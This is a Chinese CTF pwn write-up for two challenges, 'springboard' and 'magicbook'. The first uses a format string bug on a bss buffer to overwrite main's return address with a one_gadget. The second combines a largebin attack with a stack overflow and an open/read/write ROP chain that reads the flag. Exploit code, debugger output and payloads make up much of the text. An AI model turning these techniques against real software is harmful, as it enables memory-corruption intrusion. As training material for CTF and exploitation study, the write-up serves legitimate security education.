springboard 分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int argc, const char **argv, const char **envp) { int i; myinit(argc, argv, envp); puts ("Life is not boring, dreams are not out of reach." ); puts ("Sometimes you just need a springboard." ); puts ("Then you can see a wider world." ); puts ("There may be setbacks along the way." ); puts ("But keep your love of life alive." ); puts ("I believe that you will succeed." ); puts ("Good luck." ); putchar (10 ); puts ("Here's a simple pwn question, challenge yourself." ); for ( i = 0 ; i <= 4 ; ++i ) { puts ("You have an 5 chances to get a flag" ); printf ("This is the %d time\n" , (unsigned int )(i + 1 )); puts ("Please enter a keyword" ); read(0 , bss, 0x40 uLL); printf (bss); } return 0 ; }
5 次输入非格式化字符串,bss 在 0x0601089
1 2 3 4 5 6 7 8 yukon@yukon-virtual-machine:/mnt/hgfs/Desktop-2$ checksec springboard [*] '/mnt/hgfs/Desktop-2/springboard' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'/home/yukon/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
patch 好之后断在 printf 看看栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Please enter a keyword aaaa Breakpoint 2, __printf (format=0x601089 <bss> "aaaa\n") at printf.c:28 28 in printf.c pwndbg> stack 50 00:0000│ rsp 0x7fffffffdfe8 —▸ 0x40082f (main+200) ◂— add dword ptr [rbp - 4], 1 01:0008│ 0x7fffffffdff0 —▸ 0x7fffffffe0e0 ◂— 0x1 02:0010│ 0x7fffffffdff8 ◂— 0x0 03:0018│ rbp 0x7fffffffe000 —▸ 0x400840 (__libc_csu_init) ◂— push r15 04:0020│ 0x7fffffffe008 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax 05:0028│ 0x7fffffffe010 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe3f6 ◂— '/mnt/hgfs/Desktop-2/springboard' 06:0030│ 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe3f6 ◂— '/mnt/hgfs/Desktop-2/springboard' 07:0038│ 0x7fffffffe020 ◂— 0x1f798c708 08:0040│ 0x7fffffffe028 —▸ 0x400767 (main) ◂— push rbp 09:0048│ 0x7fffffffe030 ◂— 0x0 pwndbg> fmtarg 0x7fffffffdff0 The index of format argument : 7 ("\%6$p") pwndbg> fmtarg 0x7fffffffe008 The index of format argument : 10 ("\%9$p") pwndbg> fmtarg 0x7fffffffe028 The index of format argument : 14 ("\%13$p")
因为 printf 没有在新的函数里调用,换句话说栈没有变,所以直接改 main 函数返回地址就行
第一次输入:泄露 libc 和 bp 这里可以用一次输入来将 01:0008,04:0020 和 08:0040 位置的值泄露出来从而获得 stack_addr,libc_base 和 elf_base
1 2 3 4 5 6 7 8 print (leak_content)bp = int (leak_content[0 ], 16 ) - 0xe0 libc_base = int (leak_content[1 ], 16 ) - 240 - libc.sym['__libc_start_main' ] elf_base = int (leak_content[2 ], 16 ) - 0x3767 lg("bp" ) lg("libc_base" ) lg("elf_base" )
打了才发现没开 pie,elf_base 固定
第二次输入:构造二级指针 ->ret_addr 构造一个二级指针,指向返回地址
选择 05:0028 或者 06:0030 处的指针,将其修改为:
1 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe008 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax
1 2 3 4 5 ret_addr = bp + 8 payload = f'%{ret_addr & 0xffff } c%10$hn\x00' .encode() ru(b"Please enter a keyword" ) sl(payload)
第三次输入:修改 ret_addr 低两位 利用二级指针的第二级,也就是下面的 0x7ffe79a1c9c8
来将 0x7ffe79a1c9c8
的低两位改为 onegg
1 2 3 4 5 6 7 8 9 10 pwndbg> stack 40 00:0000│ rsp 0x7ffe79a1c8c8 —▸ 0x40082f (main+200) ◂— add dword ptr [rbp - 4], 1 01:0008│ 0x7ffe79a1c8d0 —▸ 0x7ffe79a1c9c0 ◂— 0x1 02:0010│ 0x7ffe79a1c8d8 ◂— 0x200000000 03:0018│ rbp 0x7ffe79a1c8e0 —▸ 0x400840 (__libc_csu_init) ◂— push r15 04:0020│ 0x7ffe79a1c9c8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax 05:0028│ 0x7ffe79a1c8f0 —▸ 0x7ffe79a1c9c8 —▸ 0x7ffe79a1c8e8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax 06:0030│ 0x7ffe79a1c8f8 —▸ 0x7ffe79a1c9c8 —▸ 0x7ffe79a1c8e8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax pwndbg> fmtarg 0x7ffe79a1c9c8 The index of format argument : 38 ("\%37$p")
1 2 3 4 5 6 7 onegg = [0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ] onegg = onegg[3 ] + libc_base lg("onegg" ) payload = f'%{onegg & 0xffff } c%37$hn' ru(b"Please enter a keyword" ) sl(payload)
第四次输入:构造二级指针 ->ret_addr+2 1 2 3 4 payload = f'%{ret_addr + 2 & 0xffff } c%10$hn\x00' .encode() ru(b"Please enter a keyword" ) sl(payload)
第五次输入:修改 ret_addr 低四位 1 2 3 4 payload = f'%{(onegg >> 16 ) & 0xffff } c%37$hn' ru(b"Please enter a keyword" ) sl(payload)
远程的靶机有点问题,得用 06:0030 那个二级指针,就把上面所有 %10$hn 改为 %11$hn 就行
写的比较简陋,有关非栈上格式化字符串的详细动调过程可以看 yukon.icu/2024/02/04/fmt_bss
magicbook largebin attack 先复习一下 largebin attack,简单来说就是利用不同大小的 largebin 这个双向链表来通过任意地址写入堆地址,从而泄露 heap_base 的一种操作
largebin 与其他 chunk 的主要不同是 fd_nextsize
和 bk_nextsize
指针的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
需要注意的几点: 1. 相同大小的 chunk 中,只有首 chunk 的 fd_nextsize 和 bk_nextsize 才有具体值,之后的全按 0 处理,通过正常的 fd 和 bk 链接,按 free 时间前后来排序(除了 tcachebin 以外,都是 FIFO) 2. 不同大小的 chunk 通过 fd_nextsize 和 bk_nextsize 链接,链条分配是按从大到小排序的
先介绍一下 largebin attack 的主要思想:
首先,同大小的 largebin 是双向列表,并且存在一个漏洞,当我们释放的 largebin 比最后一个 largebin 的大小还小时,会将其置入链表末端,当我们释放的 largebin 比第一个 largebin 的大小还大时,会根据下面的代码将 victim 放到 chunk 和 fwd(表头)中间
1 2 3 4 5 6 7 8 9 10 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
注意看这两行代码:
1 2 victim->bk_nextsize->fd_nextsize = victim; bck->fd = victim;
1. 如果我们将 fwd 位置的 chunk 的 bk 修改为 target_addr - 0x10 的话,fwd->bk (bck) 的 fd 指针就是 target_addr,根据 bck->fd = victim;
就能完成在 target_addr 处写入 victim 也就是 heap 的地址 2. 如果我们将 fwd 的 chunk 的 bk_nextsize 修改为 target_addr - 0x20 的话,fwd->bk_nextsize (victim->bk_nextsize) 的 fd_nextsize 指针就是 target_addr,根据 victim->bk_nextsize->fd_nextsize = victim;
就能完成在 target_addr 处写入 victim 的地址
这两个操作的效果是相同的
接下来就看这题是怎么利用的
ida 1 2 3 4 5 6 7 $ checksec magicbook [*] '/mnt/hgfs/Desktop-2/magicbook' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled持续更新中>>>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; init(argc, argv, envp); sandbox(); menu1(); dest = malloc (0x100 uLL); while ( 1 ) { book = (unsigned __int16)book; menu2(); __isoc99_scanf("%d" , &v3); if ( v3 == 4 ) exit (0 ); if ( v3 > 4 ) { LABEL_12: puts ("Invalid choice" ); } else { switch ( v3 ) { case 3 : edit_the_book(); break ; case 1 : creat_the_book(); break ; case 2 : delete_the_book(); break ; default : goto LABEL_12; } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int menu2 () { if ( (unsigned int )d >= 2 ) { puts ("nonono" ); exit (0 ); } puts ("what do you want to do?" ); puts ("1.creat a book" ); puts ("2.delete a book" ); puts ("3.edit a book" ); puts ("4.exit" ); return puts ("Your choice:" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 size_t creat_the_book () { size_t v0; size_t size[2 ]; if ( book > 5 ) { puts ("full!!" ); exit (0 ); } printf ("the book index is %d\n" , book); puts ("How many pages does your book need?" ); LODWORD(size[0 ]) = 0 ; __isoc99_scanf("%u" , size); if ( LODWORD(size[0 ]) > 0x500 ) { puts ("wrong!!" ); exit (0 ); } v0 = book; p[v0] = malloc (LODWORD(size[0 ])); return ++book; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 __int64 delete_the_book () { unsigned int v1; int v2; char buf[8 ]; puts ("which book would you want to delete?" ); __isoc99_scanf("%d" , &v2); if ( v2 > 5 || !*(&p + v2) ) { puts ("wrong!!" ); exit (0 ); } free (*(&p + v2)); puts ("Do you want to say anything else before being deleted?(y/n)" ); read(0 , buf, 4uLL ); if ( d && (buf[0 ] == 89 || buf[0 ] == 121 ) ) { puts ("which page do you want to write?" ); __isoc99_scanf("%u" , &v1); if ( v1 > 4 || !*(&p + v2) ) { puts ("wrong!!" ); exit (0 ); } puts ("content: " ); read(0 , (*(&p + v1) + 8LL ), 0x18 uLL); --d; return 0LL ; } else { if ( d ) puts ("ok!" ); else puts ("no ways!!" ); return 0LL ; } }
5 次申请 chunk 的机会,delete 中有给了一次在堆地址 + 8 的的位置写 0x18 字节的功能,能够覆盖到 fd_nextsize 和 bk_nextsize,可以完成 largebin attack
1 2 3 4 5 6 7 8 9 10 void *edit_the_book () { size_t v0; char buf[32 ]; puts ("come on,Write down your story!" ); read(0 , buf, book); v0 = strlen (buf); return memcpy (dest, buf, v0); }
book 值是一个全局变量,只能根据申请最大堆块数量而变化,常规的最大值为 5,无法进行堆利用,我们将 book 处写入 victim 的地址,由于 buf 在栈上,所以这样就可以构造出一个栈溢出,后面打 rop 的 orw 即可
1 2 3 4 5 6 7 8 9 10 11 12 ru(b"give you a gift: " ) elf_base = int (io.recv(14 ), 16 ) - 0x4010 lga("elf_base" ) add(0x450 ) add(0x440 ) add(0x440 ) delete(0 ) add(0x498 ) delete(2 , b"y" ) sla(b'write?\n' , b'0' ) sa(b'content: \n' , p64(0 )*2 +p64(elf_base+0x4050 -0x20 ))
用 0 2 两个 chunk 完成 largebin attack,1 3 防止合并,然后利用 delete 中可以编辑的 0x18 字节将 bk_nextsize 改成 book 的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ret = elf_base + 0x000000000000101a pop_rdi = elf_base + 0x0000000000001863 puts_got = elf_base + elf.got['puts' ] puts_plt = elf_base + elf.plt['puts' ] edit_addr = elf_base + elf.sym['edit_the_book' ] lga("ret" ) lga("pop_rdi" ) lga("puts_got" ) lga("puts_plt" ) lga("edit_addr" ) payload = b'a' * 0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_addr) edit(payload) libc_base = uu64() - libc.sym["puts" ] lga("libc_base" ) open_addr = libc_base + libc.sym["open" ] read_addr = libc_base + libc.sym["read" ] write_addr = libc_base + libc.sym["write" ] pop_rsi = libc_base + 0x000000000002be51 pop_rdx_r12_ret = libc_base + 0x000000000011f497 lga("pop_rdx_r12_ret" ) payload = b'a' * 0x28 payload += flat([pop_rdi, 0 , pop_rsi, elf_base + elf.bss() + 0x100 , pop_rdx_r12_ret, 0x10 , 0 , read_addr]) payload += flat([pop_rdi, elf_base + elf.bss() + 0x100 , pop_rsi, 0 , pop_rdx_r12_ret, 0 , 0 , open_addr]) payload += flat([pop_rdi, 3 , pop_rsi, elf_base + elf.bss() + 0x200 , pop_rdx_r12_ret, 0x30 , 0 , read_addr]) payload += flat([pop_rdi, 1 , pop_rsi, elf_base + elf.bss() + 0x200 , pop_rdx_r12_ret, 0x30 , 0 , write_addr]) ru(b"come on,Write down your story!" ) sl(payload) sleep(0.1 ) s(b'./flag\x00\x00' )